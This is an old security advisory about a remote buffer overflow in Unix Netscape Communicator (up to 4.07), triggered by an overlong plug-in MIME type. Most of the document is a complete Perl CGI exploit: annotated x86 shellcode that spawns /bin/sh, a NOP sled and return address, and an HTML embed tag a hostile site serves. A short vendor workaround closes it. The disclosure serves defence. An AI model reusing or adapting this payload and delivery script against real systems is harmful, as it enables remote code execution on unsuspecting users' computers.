COMMAND
Netscape
SYSTEMS AFFECTED
Netscape on unices
PROBLEM
Mr. Nothing found following. Here is a buffer overflow exploit
for Netscape on x86 Linux. It can be activated remotely by the
following CGI script. See:
http://www.shout.net/~nothing/buffer-overflow-1/index.html
for more information.
This buffer overflow vulnerability afflicts UNIX versions of
Communicator up to 4.07 (and probably 4.5 as well). It can be
triggered remotely without any action on the part of the user.
The problem occurs in the generation of a dialog message for an
unknown plug-in. The code creates the message using sprintf()
into a 1K buffer, and the MIME type for the plug-in is
interpolated into the message without any overflow checks. The
MIME type is specified like so:
<embed type="mimetype" src="url">
By putting a return address and executable code into the value of
type, a hostile site can cause arbitrary instructions to be
executed on your computer. If you are using Linux on an x86, the
exploit will transform your running Netscape process into an
interactive shell (/bin/sh). For some reason stdout is muted,
but you can send the shell input in your xterm, or suspend the
process and verify that it is in fact a shell. Here is a the
source code of the exploit:
#!/usr/bin/perl
#
# buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19
sub parse {
join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
}
# This is very tricky business. Netscape maps unprintable characters
# (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
# code must be free of these characters. This makes it impossible
# to call int 0x80, so I put int 0x40 there and wrote code to
# shift those bytes left before it gets called. Also null characters
# can't be used because of C string conventions.
# the first paragraph of the following turns the int 0x40 in the second
# paragraph into int 0x80. the second paragraph nullifies the SIGALRM
# handler.
my $pre = parse qw{
31 c0 # xorl %eax,%eax
66 b8 ff 0f # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
31 c0 b0 30
31 db b3 0e
31 c9 b1 01
cd 40
};
my $code = $pre . parse qw{
b0 55 # movb $0x55,%al (marker)
eb 58 # (jump below)
5e # popl %esi
56 # pushl %esi
5b # popl %ebx
43 43 43 43 43 43
43 43 43 43 43 # addl $0xb,%ebx
21 33 # andl %esi,(%ebx)
09 33 # orl %esi,(%ebx)
31 c0 # xorl %eax,%eax
66 b8 56 10 # movw $0x1056,%ax
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
33 c0 # xorl %eax,%eax
b0 05 # movb $5,%al
01 c4 # addl %eax,%esp
c0 24 24 01 # shlb $1,(%esp)
29 c4 # subl %eax,%esp
66 b8 56 10 # movw $0x1056,%ax
29 c4 # subl %eax,%esp
31 d2 # xorl %edx,%edx
21 56 07 # andl %edx,0x7(%esi)
21 56 0f # andl %edx,0xf(%esi)
b8 1b 56 34 12 # movl $0x1234561b,%eax
35 10 56 34 12 # xorl $0x12345610,%eax
21 d9 # andl %ebx,%ecx
09 d9 # orl %ebx,%ecx
4b 4b 4b 4b 4b 4b
4b 4b 4b 4b 4b # subl $0xb,%ebx
cd 40 # int $0x80
31 c0 # xorl %eax,%eax
40 # incl %eax
cd 40 # int $0x80
e8 a3 ff ff ff # (call above)
};
$code .= "/bin/sh";
my $transmission = parse qw{
6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
79
};
my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
# to matter
my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere
# in the chunk of nops. works on every
# linux box i've tried it on so far.
my $len = 0x1000 - length($pre);
my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
# the first $address is in the string replaces another
# pointer in the same function which gets dereferenced
# after the buffer is overflowed. there must be a valid
# address there or it will segfault early.
print <<EOF;
Content-type: text/html
<!-- $transmission -->
<embed type="$exploit" src="data:x">
EOF
SOLUTION
Netscape is working on a patch. Netscape posted a workaround to
their webpage that protects you against this specific overflow:
To quote their page, do the following to protect you:
1. In Communicator, select Preferences from the Edit menu.
2. In the Preferences dialog box, select the Navigator
category.
3. Select Applications.
4. On the Description list, select the * entry and handled by
Plug-in: Netscape Default.
5. Click on the Edit button.
6. Set Handled By to Unknown: PromptUser.
7. Restart Navigator or Communicator.